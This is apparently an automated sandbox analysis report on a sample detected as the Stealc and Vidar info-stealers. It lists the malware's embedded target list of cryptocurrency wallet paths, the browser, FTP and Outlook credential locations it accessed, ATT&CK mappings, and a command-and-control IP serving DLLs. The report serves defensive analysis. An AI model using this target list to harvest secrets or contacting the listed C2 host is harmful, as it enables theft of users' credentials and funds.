Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2666421532.0000000001998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json#]
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2666421532.0000000001947000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3960, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.b20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2155476235.0000000005560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2666421532.00000000018CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2664752549.0000000000B21000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3960, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3960, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC10C40 sqlite3_bind_zeroblob,	0_2_6CC10C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC10D60 sqlite3_bind_parameter_name,	0_2_6CC10D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB38EA0 sqlite3_clear_bindings,	0_2_6CB38EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Disable or Modify Tools	Security Account Manager	641 Security Software Discovery	SMB/Windows Admin Shares	4 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	24 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	235 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://polymer.github.io/CONTRIBUTORS.txt	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	unknown
plus.l.google.com	142.250.186.142	true	false	unknown
play.google.com	172.217.18.14	true	false	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	unknown
sb.scorecardresearch.com	18.244.18.38	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
www.google.com	142.250.186.68	true	false	unknown
googlehosted.l.googleusercontent.com	142.250.184.193	true	false	unknown
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	unknown
bzib.nelreports.net	unknown	unknown	false	unknown
assets.msn.com	unknown	unknown	false	unknown
c.msn.com	unknown	unknown	false	unknown
ntp.msn.com	unknown	unknown	false	unknown
apis.google.com	unknown	unknown	false	unknown
api.msn.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
https://sb.scorecardresearch.com/b2?rn=1730077659523&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=335586F4D9E8607124F893D2D81961F7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	unknown
